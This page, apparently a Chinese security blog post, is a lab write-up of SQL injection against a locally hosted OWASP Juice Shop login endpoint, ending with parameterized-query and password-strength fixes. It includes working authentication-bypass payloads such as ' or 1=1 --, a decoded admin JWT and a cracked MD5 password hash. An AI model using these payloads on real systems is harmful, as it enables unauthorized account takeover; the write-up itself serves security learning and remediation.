首页/新闻资讯/正文详情

基于OWASP Juice Shop 的SQL 注入实战:绕过登录验证,获取管理员身份

发布时间:2026/9/24 5:16:53 来源:云帆数科 栏目:资讯中心
基于OWASP Juice Shop 的SQL 注入实战:绕过登录验证,获取管理员身份
注意本文实验均在个人本地部署、合法授权的靶场环境中完成仅用于安全学习与漏洞分析。一、实验目标与环境1.1 实验目标对登录接口进行 SQL 注入测试验证是否能在不知道管理员密码的情况下登录并结合源码分析漏洞根因及修复方式。1.2 实验环境项目说明实验目标本地部署的授权靶场目标地址http://127.0.0.1:3000测试工具浏览器、Burp Suite测试接口POST /rest/user/login二、正常登录流程与测试入口2.1 捕获登录请求首先在浏览器中随意填写一组账号密码并使用 Burp Suite 抓取登录请求以分析 Juice Shop 登录接口的基本结构。抓取到的请求如下POST /rest/user/login HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json Content-Length: 29 Origin: http://127.0.0.1:3000 Connection: keep-alive Referer: http://127.0.0.1:3000/ Cookie: languagezh_CN; welcomebanner_statusdismiss; cookieconsent_statusdismiss; continueCode... Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u0 {email: 1,password:1}2.2 分析登录请求从该请求可以看出Juice Shop 的登录功能通过POST /rest/user/login接口完成并且用户名和密码并不是以传统表单参数的形式提交而是放在 HTTP 请求体中以 JSON 格式发送{ email: 1, password: 1 }其中email和password是后续测试中的可控参数。2.3 确定测试位置选择 email 字段作为测试入口password 保持为相同的错误密码。三、SQL 注入验证3.1 构造并发送注入请求将请求发送到 Burp Repeater修改email字段(登录账号为email优先使用字符型注入进行验证基础的试探此处不做演示POST /rest/user/login HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json {email: or 11 limit 1 offset 0 --,password:1}3.2 分析注入载荷片段预期作用’尝试闭合原来的字符串OR 11引入恒真条件改变查询筛选逻辑LIMIT 1 OFFSET 0取查询结果中的第一条记录–尝试注释后续 SQL 内容注意以上是载荷的预期作用实际执行逻辑需要结合源码中的 SQL 结构确认。没有明确排序时第一条记录不保证始终是管理员。3.3 分析服务端响应关键响应内容{ authentication: { token: 已省略, bid: 1, umail: adminjuice-sh.op } }记录观察结果- HTTP 状态码为 200。 - 响应包含 authentication 对象和登录令牌。 - 返回的用户邮箱为 adminjuice-sh.op。判断依据不能仅凭 200 判定绕过成功需要结合身份字段以及令牌的实际使用结果。四、管理员身份确认4.1 查看 JWT 中的身份信息JWT的结构Header.Payload.Signaturetoken:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJkYXRhIjp7ImlkIjoxLCJ1c2VybmFtZSI6IiIsImVtYWlsIjoiYWRtaW5AanVpY2Utc2gub3AiLCJwYXNzd29yZCI6IjAxOTIwMjNhN2JiZDczMjUwNTE2ZjA2OWRmMThiNTAwIiwicm9sZSI6ImFkbWluIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IiIsInByb2ZpbGVJbWFnZSI6ImFzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdEFkbWluLnBuZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0wOS0yMiAxMDo1MzowNS45MzAgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0wOS0yMiAxMDo1MzowNS45MzAgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiYmlkIjoxLCJpYXQiOjE3OTAxNjU2NTd9.huAb8bkpiSCeCSLdC9revXLHEG84yUmGkGC875eQPIJp16GCDzOJLuIsyvNE0kTVZltxuUsdB5ZsTCYOrHqd5rSkRZDKJQc2BOpCHnL-YPy8NRK1OmdnWjerDYT9AcNwHr1N5zZJx89vzZQmRCQHBlfexlOCG_5mxO6h125lQW0,Base64URL解码返回:Header:{ typ: JWT, alg: RS256 }Payload:{ data: { id: 1, username: , email: adminjuice-sh.op, password: 0192023a7bbd73250516f069df18b500, role: admin, deluxeToken: , lastLoginIp: , profileImage: assets/public/images/uploads/defaultAdmin.png, totpSecret: , isActive: true, createdAt: 2026-09-22 10:53:05.930 00:00, updatedAt: 2026-09-22 10:53:05.930 00:00, deletedAt: null }, bid: 1, iat: 1790165657 }由解码得出管理员的email及password对password分析它是一个 32 位十六进制字符串从格式上看很像MD5摘要值查询彩虹表得知原文为admin1234.2 结果验证关闭burp suite的拦截功能将得出的管理员账号密码输入登录界面进行验证由图得知管理员身份登录成功。4.3 前置补充在登录界面的账号处直接构造此SQL语句 or 11 --密码随便输发现无需真实的admin管理员账号密码依旧实现了admin的登陆操作。五、修复建议5.1 使用参数化查询通过参数绑定将用户输入作为数据处理避免输入改变 SQL 语法结构。源码由models.sequelize.query( SELECT * FROM Users WHERE email ${req.body.email} AND password ${security.hash(req.body.password)} )改为return (req: Request, res: Response, next: NextFunction) { models.sequelize.query( SELECT * FROM Users WHERE email $1 AND password $2 AND deletedAt IS NULL, { bind: [ req.body.email, security.hash(req.body.password) ], model: models.User, plain: true } )原登录接口通过字符串拼接方式将 email 等用户输入直接加入 SQL 查询语句导致用户输入可能改变原 SQL 的语法结构从而产生 SQL 注入漏洞。修复后使用 Sequelize 的参数绑定机制以 $1、$2 作为 SQL 占位符并通过 bind 将邮箱和密码哈希作为参数传递。数据库将 SQL 语句结构和用户输入数据分离处理因此用户输入不会再被解释为 SQL 语法从而有效防止 SQL 注入。5.2 增加密码强度校验源代码由password: { type: DataTypes.STRING, set (clearTextPassword: string) { this.setDataValue(password, security.hash(clearTextPassword)) } }改为password: { type: DataTypes.STRING, set (clearTextPassword: string) { validatePasswordHasAtLeastTenChar(clearTextPassword) validatePasswordIsNotInTopOneMillionCommonPasswordsList(clearTextPassword) this.setDataValue(password, security.hash(clearTextPassword)) } }原代码在密码写入数据库前仅进行了哈希处理没有对密码长度以及是否属于常见弱密码进行校验。修复后增加最小长度限制并检测密码是否存在于常见弱密码字典中从而降低弱密码被暴力破解或字典攻击的风险。六、实验总结本次实验以登录接口POST /rest/user/login为入口通过 Burp Suite 捕获请求分析 JSON 请求体中的email和password参数并在email字段中构造 SQL 注入载荷。服务端随后返回了包含管理员邮箱的认证信息及登录令牌在登录页面中使用注入载荷也实现了无需真实管理员密码的登录。结合文中展示的源码可以确认漏洞根因是后端将email参数直接拼接进 SQL 查询。输入中的单引号、恒真条件和注释符改变了原有查询逻辑使密码校验条件被绕过。后端又将查询得到的用户记录作为认证成功的依据最终为管理员身份签发了令牌。因此本次利用属于 SQL 注入导致的认证绕过而不是 JWT 签名伪造。实验还发现返回的 JWT 载荷包含password字段。对该字段进行分析后找到了与其哈希值匹配的弱密码并通过正常登录进行了验证。这暴露出额外的问题认证令牌携带了不必要的敏感信息且管理员使用了容易被猜测的密码。需要区分的是弱密码验证属于附加发现SQL 注入绕过登录本身并不依赖获取真实密码。针对 SQL 注入核心修复措施是使用参数化查询使用户输入作为数据参与查询避免其改变 SQL 语法结构。密码强度校验和减少 JWT 中的敏感字段则分别用于降低弱密码及信息泄露风险。修复是否有效还需要通过原始注入载荷、错误密码和正确凭据进行对照复测。通过本次实验我梳理了从可控输入、数据库查询到身份认证与令牌签发的完整链路。判断漏洞是否成立不能只看响应状态码或页面提示还应结合响应内容、实际登录身份与后端代码形成相互印证的证据。

相关推荐

ADS 2023实战:2.4GHz Wi-Fi LNA从零搭建与S参数调优
ADS 2023实战:2.4GHz Wi-Fi LNA从零搭建与S参数调优

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 5:16:53

Akka Streams StreamConverters.fromInputStream 详解:将 java.io.InputStream 桥接为响应式 Source
Akka Streams StreamConverters.fromInputStream 详解:将 java.io.InputStream 桥接为响应式 Source

后端并发编程异步编程 【免费下载链接】akka-core A platform to build and run apps that are elastic, agile, and resilient. SDK, libraries, and hosted environments. 项目地址: https://gitcode.com/gh_mirrors/ak/akka-core 点击查看 免费下载 导读 Strea… · 2026/9/24 5:16:53

公司买了很多AI,为什么员工还在充当“系统连接器”?从客户拜访到CRM回写中间还有多少人工工作
公司买了很多AI,为什么员工还在充当“系统连接器”?从客户拜访到CRM回写中间还有多少人工工作

客户拜访结束后,AI生成了纪要,列出客户需求、双方承诺和下次联系时间。销售仍要核对客户名称,把需求录入CRM,创建跟进任务,通知售前同事,再逐个系统查看进度。 纪要写完了,后续业务还靠员工手工… · 2026/9/24 5:16:47

AC5与AC6编译器对比:从armcc到armclang的Keil工程迁移指南
AC5与AC6编译器对比:从armcc到armclang的Keil工程迁移指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 5:53:11

Nginx UI 在 Kubernetes 上的 Helm 安装部署指南:从裸机到集群的一站式实践
Nginx UI 在 Kubernetes 上的 Helm 安装部署指南:从裸机到集群的一站式实践

后端前端运维MCP 服务 【免费下载链接】nginx-ui Yet another WebUI for Nginx 项目地址: https://gitcode.com/gh_mirrors/ngi/nginx-ui 点击查看 免费下载 本指南完整讲解如何基于官方 Helm Chart 将 Nginx UI(含其内置 Nginx 实例的 Web 管理面板&am… · 2026/9/24 5:52:59

C 语言入门:函数、函数调用与递归
C 语言入门:函数、函数调用与递归

1. 引言 在 C 语言的学习路径中,函数是从「会写简单程序」走向「能写结构化程序」的分水岭。把一段逻辑封装成函数,不仅能避免重复代码,还能让程序更清晰、更容易维护。而递归(Recursion)则是建立在函数调用之上的一种… · 2026/9/24 5:52:59

老主板BIOS魔改实战:微代码替换、VT-d与CR3校验绕过指南
老主板BIOS魔改实战:微代码替换、VT-d与CR3校验绕过指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 5:52:41

IGBT选型实战指南:从参数解析到项目避坑
IGBT选型实战指南:从参数解析到项目避坑

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 5:52:28

自托管埋点分析平台选型指南:ClickHouse与Superset实战
自托管埋点分析平台选型指南:ClickHouse与Superset实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 5:52:22

基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程
基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程

简介:这是一套面向计算机、人工智能、自动化等专业学生与教师的毕业设计级项目资源,围绕YOLOv8实现渔船作业监控系统,可用于毕设、课程设计、大作业或项目立项演示。压缩包共97个文件,约24.21MB,以70个Python源码文件为… · 2026/9/24 0:00:13

1D-CNN时间序列建模实战:从Conv1d原理到工业落地
1D-CNN时间序列建模实战:从Conv1d原理到工业落地

简介:面向时间序列数据建模的一维卷积神经网络完整实现,适合深度学习入门者及需要快速验证时序模型的研究者,能够从音频、文本、传感器或股价等序列中挖掘局部特征与时间依赖。压缩包体积很小,只有3KB,内含3个Python脚… · 2026/9/24 0:00:26

柔软的L:汉语语流中被忽视的舌肌张力控制
柔软的L:汉语语流中被忽视的舌肌张力控制

1. 这个“L”不是字母表里的L,而是舌尖上的L最近在几个方言群和语音教学社群里,反复看到有人发一句:“也说字母L:柔软的长舌”。初看以为是英语发音课笔记,点开才发现全是方言爱好者、播音系学生、语言康复师甚至戏曲演… · 2026/9/24 0:00:44

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码